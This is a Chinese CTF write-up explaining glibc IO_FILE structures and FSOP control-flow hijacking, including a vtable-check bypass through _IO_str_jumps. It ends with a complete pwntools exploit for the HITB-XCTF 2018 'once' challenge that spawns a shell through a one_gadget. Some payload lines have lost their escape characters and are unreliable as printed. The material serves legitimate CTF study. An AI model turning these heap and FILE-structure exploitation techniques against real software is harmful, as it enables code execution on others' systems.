前言
前一段时间学了IO-file的知识,发现在CTF中IO_file也是一个常考的知识点,这里我就来总结一下IO_file的知识点,顺便可以做一波笔记。首先讲一下IO_file的结构体,然后其利用的方法,最后通过一道HITB-XCTF 2018 GSEC once的题目来加深对IO_file的理解。
libc2.23 版本的IO_file利用
这是一种控制流劫持技术,攻击者可以利用程序中的漏洞覆盖file指针指向能够控制的区域,从而改写结构体中重要的数据,或者覆盖vtable来控制程序执行流。
IO_file结构体
在ctf中调用setvbuf(),stdin、stdout、stderr结构体一般位于libc数据段,其他大多数的FILE 结构体保存在堆上,其定义如下代码:
struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ #define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno; #if 0 int _blksize; #else int _flags2; #endif _IO_off_t _old_offset; /* This used to be _offset but it's too small. */ #define __HAVE_COLUMN /* temporary */ /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; /* char* _save_gptr; char* _save_egptr; */ _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE };
FILE结构体会通过struct _IO_FILE *_chain链接成一个链表,64位程序下其偏移为0x60,链表头部用_IO_list_all指针表示。如下图所示
IO_file结构体外面还被一个IO_FILE_plus结构体包裹着,其定义如下
struct _IO_FILE_plus { _IO_FILE file; IO_jump_t *vtable; }
其中包含了一个重要的虚表*vtable,它是IO_jump_t 类型的指针,偏移是0xd8,保存了一些重要的函数指针,我们一般就是改这里的指针来控制程序执行流。其定义如下
struct _IO_jump_t { JUMP_FIELD(size_t, __dummy); JUMP_FIELD(size_t, __dummy2); JUMP_FIELD(_IO_finish_t, __finish); JUMP_FIELD(_IO_overflow_t, __overflow); JUMP_FIELD(_IO_underflow_t, __underflow); JUMP_FIELD(_IO_underflow_t, __uflow); JUMP_FIELD(_IO_pbackfail_t, __pbackfail); /* showmany */ JUMP_FIELD(_IO_xsputn_t, __xsputn); JUMP_FIELD(_IO_xsgetn_t, __xsgetn); JUMP_FIELD(_IO_seekoff_t, __seekoff); JUMP_FIELD(_IO_seekpos_t, __seekpos); JUMP_FIELD(_IO_setbuf_t, __setbuf); JUMP_FIELD(_IO_sync_t, __sync); JUMP_FIELD(_IO_doallocate_t, __doallocate); JUMP_FIELD(_IO_read_t, __read); JUMP_FIELD(_IO_write_t, __write); JUMP_FIELD(_IO_seek_t, __seek); JUMP_FIELD(_IO_close_t, __close); JUMP_FIELD(_IO_stat_t, __stat); JUMP_FIELD(_IO_showmanyc_t, __showmanyc); JUMP_FIELD(_IO_imbue_t, __imbue); #if 0 get_column; set_column; #endif };
利用方法(FSOP)
这是利用程序中的漏洞(如unsorted bin attack)来覆盖_IO_list_all(全局变量)来使链表指向一个我们能够控制的区域,从而改写虚表*vtable。通过调用 _IO_flush_all_lockp()函数来触发,,该函数会在下面三种情况下被调用:
1:当 libc 执行 abort 流程时。
2:当执行 exit 函数时。当执行流从 main 函数返回时
3:当执行流从 main 函数返回时
当 glibc 检测到内存错误时,会依次调用这样的函数路径:malloc_printerr ->
libc_message->__GI_abort -> _IO_flush_all_lockp -> _IO_OVERFLOW
要让正常控制执行流,还需要伪造一些数据,我们看下代码
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) #endif ) && _IO_OVERFLOW (fp, EOF) == EOF)
这时我们伪造 fp->_mode = 0, fp->_IO_write_ptr > fp->_IO_write_base就可以通过验证
新版本下的利用
新版本(libc2.24以上)的防御机制会检查vtable的合法性,不能再像之前那样改vatable为堆地址,但是_IO_str_jumps是一个符合条件的 vtable,改 vtable为 _IO_str_jumps即可绕过检查。其定义如下
const struct _IO_jump_t _IO_str_jumps libio_vtable = { JUMP_INIT_DUMMY, JUMP_INIT(finish, _IO_str_finish), JUMP_INIT(overflow, _IO_str_overflow), JUMP_INIT(underflow, _IO_str_underflow), JUMP_INIT(uflow, _IO_default_uflow), JUMP_INIT(pbackfail, _IO_str_pbackfail), JUMP_INIT(xsputn, _IO_default_xsputn), JUMP_INIT(xsgetn, _IO_default_xsgetn), JUMP_INIT(seekoff, _IO_str_seekoff), JUMP_INIT(seekpos, _IO_default_seekpos), JUMP_INIT(setbuf, _IO_default_setbuf), JUMP_INIT(sync, _IO_default_sync), JUMP_INIT(doallocate, _IO_default_doallocate), JUMP_INIT(read, _IO_default_read), JUMP_INIT(write, _IO_default_write), JUMP_INIT(seek, _IO_default_seek), JUMP_INIT(close, _IO_default_close), JUMP_INIT(stat, _IO_default_stat), JUMP_INIT(showmanyc, _IO_default_showmanyc), JUMP_INIT(imbue, _IO_default_imbue) };
其中 IO_str_overflow 函数会调用 FILE+0xe0处的地址。这时只要我们将虚表覆盖为 IO_str_jumps将偏移0xe0处设置为one_gadget即可。
还有一种就是利用io_finish函数,同上面的类似, io_finish会以 IO_buf_base处的值为参数跳转至 FILE+0xe8处的地址。执行 fclose( fp)时会调用此函数,但是大多数情况下可能不会有 fclose(fp),这时我们还是可以利用异常来调用 io_finish,异常时调用 IO_OVERFLOW
是根据IO_str_overflow在虚表中的偏移找到的, 我们可以设置vtable为IO_str_jumps-0x8异常时会调用io_finish函数。
具体题目(HITB-XCTF 2018 GSEC once)
1、先简单运行一下程序,查看保护
主要开启了CANARY和NX保护,不能改写GOT表
2、ida打开,反编译
这里当输入一个不合法的选项时,就会输出puts的地址,用于泄露libc的基地址。
第一个函数是创建一个chunk保存数据
第二个函数和第三个函数只能执行一次,有个任意地址写漏洞,这时我们可以利用第二个函数改写off_202038+3d为_IO_list_all-0x10,然后分别执行第三和第一个函数,最后_IO_list_all就会指向0x555555757040的位置
第四个函数主要是对堆块的操作,我们可以利用利用这个函数伪造一个_IO_FILE结构
3、具体过程
1、泄露libc,输入一个“6”即可得到puts函数的地址,然后酸算出libc基地址
p.recvuntil('>') p.sendline('6') p.recvuntil('Invalid choicen') ioputadd=int(p.recvuntil('>',drop=True),16) print hex(ioputadd) libcbase=ioputadd-libc.symbols['_IO_puts'] print hex(libcbase) one=libcbase+0x4526a
2、利用任意地址写改写_IO_list_all为堆的地址
p.sendline('1') p.recvuntil('>') p.sendline('2') ioall=libcbase+libc.symbols['_IO_list_all']-0x10 print hex(ioall) payload=p64(ioall)*4 p.sendline(payload) p.recvuntil('>') p.sendline('3') p.recvuntil('>') p.sendline('1')
3、这时只要我们再利用第四个函数伪造__IO_FILE结构体,改写vtable为_IO_str_jumps,file+0xe0设置
为one_gadget
p.sendline('4') p.sendline('1') p.recvuntil('input size:n') p.sendline('256') jump=libcbase+libc.symbols['_IO_file_jumps']+0xc0 #_IO_str_jumps p.recvuntil('>') p.sendline('2') payload=''*0xa8+p64(jump)+p64(one) payload+=''*(0x100-len(payload)) p.sendline(payload) p.recvuntil('>') p.sendline('4')
4、输入“5”,执行exit()函数触发one_gadget
p.recvuntil('>') p.sendline('5') p.interactive()
小结
这个是我个人总结出来的IO_file结构的一些知识点,写得还不够全,如有写得不对的地方,欢迎大牛指正。
完整EXP
from pwn import* #context.log_level=True p=process('./once') elf=ELF('once') libc=ELF('libc6_2.23-0ubuntu10_amd64.so') p.recvuntil('>') p.sendline('6') p.recvuntil('Invalid choicen') ioputadd=int(p.recvuntil('>',drop=True),16) print hex(ioputadd) libcbase=ioputadd-libc.symbols['_IO_puts'] print hex(libcbase) one=libcbase+0x4526a p.sendline('1') p.recvuntil('>') p.sendline('2') ioall=libcbase+libc.symbols['_IO_list_all']-0x10 print hex(ioall) payload=p64(ioall)*4 p.sendline(payload) p.recvuntil('>') p.sendline('3') p.recvuntil('>') # p.sendline('1') p.recvuntil('>') p.sendline('4') p.sendline('1') p.recvuntil('input size:n') p.sendline('256') jump=libcbase+libc.symbols['_IO_file_jumps']+0xc0 #_IO_str_jumps p.recvuntil('>') p.sendline('2') payload=''*0xa8+p64(jump)+p64(one) payload+=''*(0x100-len(payload)) p.sendline(payload) #gdb.attach(p) p.recvuntil('>') p.sendline('4') raw_input() p.recvuntil('>') p.sendline('5') p.interactive()